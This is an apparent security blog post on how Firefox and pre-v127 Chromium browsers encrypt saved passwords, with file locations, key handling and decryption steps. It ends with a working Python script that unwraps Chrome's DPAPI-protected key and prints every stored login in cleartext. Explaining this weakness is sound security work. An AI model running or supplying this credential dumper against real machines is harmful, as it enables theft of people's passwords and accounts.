In-depth look at how browsers store your data

Passwords stored in the browser mean you don’t have to enter them every time, which is a real time-saver. But is it secure? This article will explain technically how browsers store your passwords on your computer, and how easy it is for an attacker to obtain them in cleartext.

How it works in Firefox

Let’s start by looking at how Firefox handles saved logins and passwords. Firefox is an open-source browser and uses the Gecko engine.

Firefox stores passwords in a file called logins.json, located in the user’s profile directory (AppData\Roaming\Mozilla\Firefox\Profiles<Profile_Name>). This file contains a list of JSON objects, each representing a set of login data, including URL, username and encrypted password.

In addition to logins.json, Firefox uses a key4.db file (or key3.db for older versions) to store encryption keys. This file is a SQLite database containing the keys needed to decrypt passwords.

Firefox’s password management system relies primarily on Network Security Services (NSS), a suite of libraries that support data encryption and security protocols. NSS is used to convert passwords into ciphertext before storing them in logins.json.

Users can set a master password (masterkey), adding an extra layer of protection. If a master password is set, it is required to decrypt stored credentials.

How logins.json works

The logins.json file is a list of JSON objects containing the following information for each set of connection data:

  • hostname: The URL of the site for which the login is used.
  • encryptedUsername: The username, encrypted.
  • encryptedPassword: The password, encrypted.
  • formSubmitURL: The URL of the form, if applicable.
  • timeCreated, timeLastUsed, timePasswordChanged : Timestamps indicating creation, use and modification of the login.

Example:

logins.json example

To decrypt these credentials, the key4.db file is used. This file contains the encryption keys, and is also in SQLite format. The information required for decryption is located in tables such as metadata and nssPrivate.

When no master password is defined, the key used for decryption is a default key stored in key4.db. This key is directly accessible using the Network Security Services (NSS) libraries, which simplifies the decryption process but also reduces security. In the presence of a master password, the master key must first be extracted and decrypted using NSS PKCS #11 (PK11) functions, then used to decrypt the login information.

Once the masterkey has been obtained, it is used to decrypt the encryptedUsername and encryptedPassword values in logins.json. This process is based on the NSS libraries, which apply the AES128 (Advanced Encryption Standard) decryption algorithm in CBC (Cipher Block Chaining) mode.

Scheme of Firefox processus to decrypt passwords

To do this, a popular tool is available here to obtain Firefox passwords in cleartext.


How it works in Chrome (prior to v127)

Let’s take a look at how Chrome versions below 127 (based on Chromium) work. As a reminder, there are many Chromium-based browsers, including Edge, Opera, Brave etc., to name but a few.

For these browsers up to version 127, all secrets are stored in a local Login Data file accessible via

AppData\Local\<Browser_Path>\User Data\<Browser_Profile_Name>\Login Data

Browser_Path represents the path specific to each browser (e.g. Google\Chrome) and Browser_Profile_Name represents the name of your browser profile. It can be “Default” for the default user, but can also be called “Profile %” where % represents a number indicating the position of this profile.

The Login Data file is a SQLite database containing all Chrome data. The logins are found in a logins table and include the URL where the logins are used, the creation date and, of course, the username and password.

Obviously, the values we’re interested in are :

  1. origin_url (URL where credentials are used)
  2. username_value (username/email)
  3. password_value (password)

In versions of Chromium prior to 127, Chromium-based browsers used Windows’ DPAPI (Data Protection API) to encrypt user secrets, including saved passwords.

DPAPI is an encryption API provided by Windows that allows applications to encrypt data using system-generated keys, reducing the need to manage encryption keys directly. For Chromium, every secret, like passwords, is encrypted before being stored in the database.

The way DPAPI works to encrypt these secrets relies on one key element:

  • The master_key: This is a master key generated for each Windows user and used to secure data protected by DPAPI. The master_key is located in the Local State JSON file and contains many of the parameters used by Chrome.
AppData\Local\<Browser_Path>\User Data\Local State

The key is located in the encrypted_key field under the os_crypt entry. This key is used to encrypt credentials using AES GCM.

Encrypted_key in Local State

To decrypt the data, simply call CryptUnprotectData on the encrypted key to obtain the decryption key. Now all you have to do is decrypt each password using AES GCM, specifying the encrypted password and the decryption key.

To do this, here’s a little PoC in Python, valid locally for a Windows workstation:

import os
import json
import sqlite3
import base64
from Cryptodome.Cipher import AES
import win32crypt

def get_encryption_key():
    local_state_path = os.path.join(
        os.environ["USERPROFILE"],
        "AppData", "Local", "Google", "Chrome", "User Data", "Local State"
    )
    with open(local_state_path, "r", encoding="utf-8") as file:
        local_state = json.load(file)
    encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]  # Retire "DPAPI"
    return win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]

def decrypt_password(encrypted_password, key):
    try:
        nonce = encrypted_password[3:15]
        ciphertext = encrypted_password[15:-16]
        tag = encrypted_password[-16:]
        cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
        return cipher.decrypt_and_verify(ciphertext, tag).decode()
    except Exception as e:
        return f"Can't decrypt: {e}"

def main():
    db_path = os.path.join(
        os.environ["USERPROFILE"],
        "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"
    )
    encryption_key = get_encryption_key()

    with sqlite3.connect(db_path) as conn:
        cursor = conn.cursor()
        cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
        
        for row in cursor.fetchall():
            origin_url, username, encrypted_password = row
            if encrypted_password.startswith(b'v10'):
                decrypted_password = decrypt_password(encrypted_password, encryption_key)
            else:
                decrypted_password = win32crypt.CryptUnprotectData(encrypted_password, None, None, None, 0)[1].decode()
            
            print(f"Site: {origin_url}\nUsername: {username}\nPassword: {decrypted_password}\n{'-'*50}")

if __name__ == "__main__":
    main()

Once the script has been run, the credentials are recovered in clear text.

See you asap for v127+ 👀


References :

  1. NSS Firefox
  2. Firefox Decrypt
  3. Binary Blob